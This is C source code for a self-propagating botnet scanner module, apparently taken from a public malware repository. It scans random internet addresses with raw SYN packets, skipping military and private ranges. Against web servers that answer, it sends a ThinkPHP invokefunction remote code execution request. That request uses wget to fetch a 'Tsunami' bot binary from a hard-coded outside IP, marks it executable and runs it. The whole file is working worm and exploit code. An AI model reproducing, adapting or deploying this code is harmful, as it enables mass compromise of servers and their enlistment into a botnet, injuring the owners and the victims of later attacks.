Path: blob/master/Botnets/Self Reps/ThinkPHP/thinkphp.c
5038 views
#ifdef SELFREP12#define _GNU_SOURCE34#ifdef DEBUG5#include <stdio.h>6#endif7#include <unistd.h>8#include <stdlib.h>9#include <sys/socket.h>10#include <arpa/inet.h>11#include <sys/select.h>12#include <sys/types.h>13#include <time.h>14#include <fcntl.h>15#include <signal.h>16#include <errno.h>17#include <string.h>18#include <linux/ip.h>19#include <linux/tcp.h>2021#include "includes.h"22#include "thinkphp.h"23#include "table.h"24#include "rand.h"25#include "util.h"26#include "checksum.h"2728int thinkphp_scanner_pid = 0, thinkphp_rsck = 0, thinkphp_rsck_out = 0;29char thinkphp_scanner_rawpkt[sizeof(struct iphdr) + sizeof(struct tcphdr)] = {0};30struct thinkphp_scanner_connection *conn_table;31uint32_t thinkphp_fake_time = 0;3233int thinkphp_recv_strip_null(int sock, void *buf, int len, int flags)34{35int ret = recv(sock, buf, len, flags);3637if (ret > 0)38{39int i = 0;4041for (i = 0; i < ret; i++)42{43if (((char *)buf)[i] == 0x00)44{45((char *)buf)[i] = 'A';46}47}48}4950return ret;51}5253void thinkphp_scanner(void)54{55int i = 0;56uint16_t source_port;57struct iphdr *iph;58struct tcphdr *tcph;5960// Let parent continue on main thread61thinkphp_scanner_pid = fork();62if (thinkphp_scanner_pid > 0 || thinkphp_scanner_pid == -1)63return;6465LOCAL_ADDR = util_local_addr();6667rand_init();68thinkphp_fake_time = time(NULL);69conn_table = calloc(thinkphp_SCANNER_MAX_CONNS, sizeof(struct thinkphp_scanner_connection));70for (i = 0; i < thinkphp_SCANNER_MAX_CONNS; i++)71{72conn_table[i].state = thinkphp_SC_CLOSED;73conn_table[i].fd = -1;74}7576// Set up raw socket scanning and payload77if ((thinkphp_rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)78{79#ifdef DEBUG80printf("[scanner] failed to initialize raw socket, cannot scan\n");81#endif82exit(0);83}84fcntl(thinkphp_rsck, F_SETFL, O_NONBLOCK | fcntl(thinkphp_rsck, F_GETFL, 0));85i = 1;86if (setsockopt(thinkphp_rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) != 0)87{88#ifdef DEBUG89printf("[scanner] failed to set IP_HDRINCL, cannot scan\n");90#endif91close(thinkphp_rsck);92exit(0);93}9495do96{97source_port = rand_next() & 0xffff;98} while (ntohs(source_port) < 1024);99100iph = (struct iphdr *)thinkphp_scanner_rawpkt;101tcph = (struct tcphdr *)(iph + 1);102103// Set up IPv4 header104iph->ihl = 5;105iph->version = 4;106iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));107iph->id = rand_next();108iph->ttl = 64;109iph->protocol = IPPROTO_TCP;110111// Set up TCP header112tcph->dest = htons(80);113tcph->source = source_port;114tcph->doff = 5;115tcph->window = rand_next() & 0xffff;116tcph->syn = TRUE;117118#ifdef DEBUG119printf("[scanner] scanner process initialized. scanning started.\n");120#endif121122// Main logic loop123while (TRUE)124{125fd_set fdset_rd, fdset_wr;126struct thinkphp_scanner_connection *conn;127struct timeval tim;128int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;129130// Spew out SYN to try and get a response131if (thinkphp_fake_time != last_spew)132{133last_spew = thinkphp_fake_time;134135for (i = 0; i < thinkphp_SCANNER_RAW_PPS; i++)136{137struct sockaddr_in paddr = {0};138struct iphdr *iph = (struct iphdr *)thinkphp_scanner_rawpkt;139struct tcphdr *tcph = (struct tcphdr *)(iph + 1);140141iph->id = rand_next();142iph->saddr = LOCAL_ADDR;143iph->daddr = thinkphp_get_random_ip();144iph->check = 0;145iph->check = checksum_generic((uint16_t *)iph, sizeof(struct iphdr));146147tcph->dest = htons(80);148tcph->seq = iph->daddr;149tcph->check = 0;150tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof(struct tcphdr)), sizeof(struct tcphdr));151152paddr.sin_family = AF_INET;153paddr.sin_addr.s_addr = iph->daddr;154paddr.sin_port = tcph->dest;155156sendto(thinkphp_rsck, thinkphp_scanner_rawpkt, sizeof(thinkphp_scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof(paddr));157}158}159160// Read packets from raw socket to get SYN+ACKs161last_avail_conn = 0;162while (TRUE)163{164int n = 0;165char dgram[1514];166struct iphdr *iph = (struct iphdr *)dgram;167struct tcphdr *tcph = (struct tcphdr *)(iph + 1);168struct thinkphp_scanner_connection *conn;169170errno = 0;171n = recvfrom(thinkphp_rsck, dgram, sizeof(dgram), MSG_NOSIGNAL, NULL, NULL);172if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)173break;174175if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))176continue;177if (iph->daddr != LOCAL_ADDR)178continue;179if (iph->protocol != IPPROTO_TCP)180continue;181if (tcph->source != htons(80))182continue;183if (tcph->dest != source_port)184continue;185if (!tcph->syn)186continue;187if (!tcph->ack)188continue;189if (tcph->rst)190continue;191if (tcph->fin)192continue;193if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)194continue;195196conn = NULL;197for (n = last_avail_conn; n < thinkphp_SCANNER_MAX_CONNS; n++)198{199if (conn_table[n].state == thinkphp_SC_CLOSED)200{201conn = &conn_table[n];202last_avail_conn = n;203break;204}205}206207// If there were no slots, then no point reading any more208if (conn == NULL)209break;210211conn->dst_addr = iph->saddr;212conn->dst_port = tcph->source;213thinkphp_setup_connection(conn);214}215216FD_ZERO(&fdset_rd);217FD_ZERO(&fdset_wr);218219for (i = 0; i < thinkphp_SCANNER_MAX_CONNS; i++)220{221int timeout = 5;222223conn = &conn_table[i];224//timeout = (conn->state > thinkphp_SC_CONNECTING ? 30 : 5);225226if (conn->state != thinkphp_SC_CLOSED && (thinkphp_fake_time - conn->last_recv) > timeout)227{228close(conn->fd);229conn->fd = -1;230conn->state = thinkphp_SC_CLOSED;231util_zero(conn->rdbuf, sizeof(conn->rdbuf));232233continue;234}235236if (conn->state == thinkphp_SC_CONNECTING || conn->state == thinkphp_SC_EXPLOIT_STAGE2 || conn->state == thinkphp_SC_EXPLOIT_STAGE3)237{238FD_SET(conn->fd, &fdset_wr);239if (conn->fd > mfd_wr)240mfd_wr = conn->fd;241}242else if (conn->state != thinkphp_SC_CLOSED)243{244FD_SET(conn->fd, &fdset_rd);245if (conn->fd > mfd_rd)246mfd_rd = conn->fd;247}248}249250tim.tv_usec = 0;251tim.tv_sec = 1;252nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);253thinkphp_fake_time = time(NULL);254255for (i = 0; i < thinkphp_SCANNER_MAX_CONNS; i++)256{257conn = &conn_table[i];258259if (conn->fd == -1)260continue;261262if (FD_ISSET(conn->fd, &fdset_wr))263{264int err = 0, ret = 0;265socklen_t err_len = sizeof(err);266267ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);268if (err == 0 && ret == 0)269{270if (conn->state == thinkphp_SC_EXPLOIT_STAGE2)271{272#ifdef DEBUG273printf("[scanner] FD%d sending payload\n", conn->fd);274#endif275276util_strcpy(conn->payload_buf, "GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://188.166.2.226/OwO/Tsunami.x86 -O /tmp/.Tsunami; chmod 777 /tmp/.Tsunami; /tmp/.Tsunami Tsunami.x86' HTTP/1.1\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: /\r\nUser-Agent: r00ts3c-owned-you\r\n\r\n");277send(conn->fd, conn->payload_buf, util_strlen(conn->payload_buf), MSG_NOSIGNAL);278util_zero(conn->payload_buf, sizeof(conn->payload_buf));279util_zero(conn->rdbuf, sizeof(conn->rdbuf));280281close(conn->fd);282thinkphp_setup_connection(conn);283conn->state = thinkphp_SC_EXPLOIT_STAGE3;284285continue;286}287else if (conn->state == thinkphp_SC_EXPLOIT_STAGE3)288{289#ifdef DEBUG290printf("[scanner] FD%d finnished\n", conn->fd);291#endif292293close(conn->fd);294conn->fd = -1;295conn->state = thinkphp_SC_CLOSED;296297continue;298}299else300{301#ifdef DEBUG302printf("[scanner] FD%d connected to %d.%d.%d.%d\n", conn->fd, conn->dst_addr & 0xff, (conn->dst_addr >> 8) & 0xff, (conn->dst_addr >> 16) & 0xff, (conn->dst_addr >> 24) & 0xff);303#endif304305conn->state = thinkphp_SC_EXPLOIT_STAGE2;306}307}308else309{310close(conn->fd);311conn->fd = -1;312conn->state = thinkphp_SC_CLOSED;313314continue;315}316}317318if (FD_ISSET(conn->fd, &fdset_rd))319{320while (TRUE)321{322int ret = 0;323324if (conn->state == thinkphp_SC_CLOSED)325break;326327if (conn->rdbuf_pos == thinkphp_SCANNER_RDBUF_SIZE)328{329memmove(conn->rdbuf, conn->rdbuf + thinkphp_SCANNER_HACK_DRAIN, thinkphp_SCANNER_RDBUF_SIZE - thinkphp_SCANNER_HACK_DRAIN);330conn->rdbuf_pos -= thinkphp_SCANNER_HACK_DRAIN;331}332333errno = 0;334ret = thinkphp_recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, thinkphp_SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);335if (ret == 0)336{337errno = ECONNRESET;338ret = -1;339}340if (ret == -1)341{342if (errno != EAGAIN && errno != EWOULDBLOCK)343{344if (conn->state == thinkphp_SC_EXPLOIT_STAGE2)345{346close(conn->fd);347thinkphp_setup_connection(conn);348continue;349}350351close(conn->fd);352conn->fd = -1;353conn->state = thinkphp_SC_CLOSED;354util_zero(conn->rdbuf, sizeof(conn->rdbuf));355}356break;357}358359conn->rdbuf_pos += ret;360conn->last_recv = thinkphp_fake_time;361362int len = util_strlen(conn->rdbuf);363conn->rdbuf[len] = 0;364}365}366}367}368}369370void thinkphp_kill(void)371{372kill(thinkphp_scanner_pid, 9);373}374375static void thinkphp_setup_connection(struct thinkphp_scanner_connection *conn)376{377struct sockaddr_in addr = {0};378379if (conn->fd != -1)380close(conn->fd);381382if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)383{384return;385}386387conn->rdbuf_pos = 0;388util_zero(conn->rdbuf, sizeof(conn->rdbuf));389390fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));391392addr.sin_family = AF_INET;393addr.sin_addr.s_addr = conn->dst_addr;394addr.sin_port = conn->dst_port;395396conn->last_recv = thinkphp_fake_time;397398if (conn->state == thinkphp_SC_EXPLOIT_STAGE2 || conn->state == thinkphp_SC_EXPLOIT_STAGE3)399{400}401else402{403conn->state = thinkphp_SC_CONNECTING;404}405406connect(conn->fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));407}408409static ipv4_t thinkphp_get_random_ip(void)410{411uint32_t tmp;412uint8_t o1 = 0, o2 = 0, o3 = 0, o4 = 0;413414do415{416tmp = rand_next();417418srand(time(NULL));419o1 = tmp & 0xff;420o2 = (tmp >> 8) & 0xff;421o3 = (tmp >> 16) & 0xff;422o4 = (tmp >> 24) & 0xff;423}424while(o1 == 127 || // 127.0.0.0/8 - Loopback425(o1 == 0) || // 0.0.0.0/8 - Invalid address space426(o1 == 3) || // 3.0.0.0/8 - General Electric Company427(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company428(o1 == 56) || // 56.0.0.0/8 - US Postal Service429(o1 == 10) || // 10.0.0.0/8 - Internal network430(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network431(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network432(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved433(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved434(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use435(o1 >= 224) || // 224.*.*.*+ - Multicast436(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense437);438439int randnum = rand() % 3;440if (randnum == 0)441{442return INET_ADDR(88,o2,o3,o4);443}444if (randnum == 1)445{446return INET_ADDR(95,o2,o3,o4);447}448if (randnum == 2)449{450return INET_ADDR(112,o2,o3,o4);451}452if (randnum == 3)453{454return INET_ADDR(o1,o2,o3,o4);455}456}457#endif458459460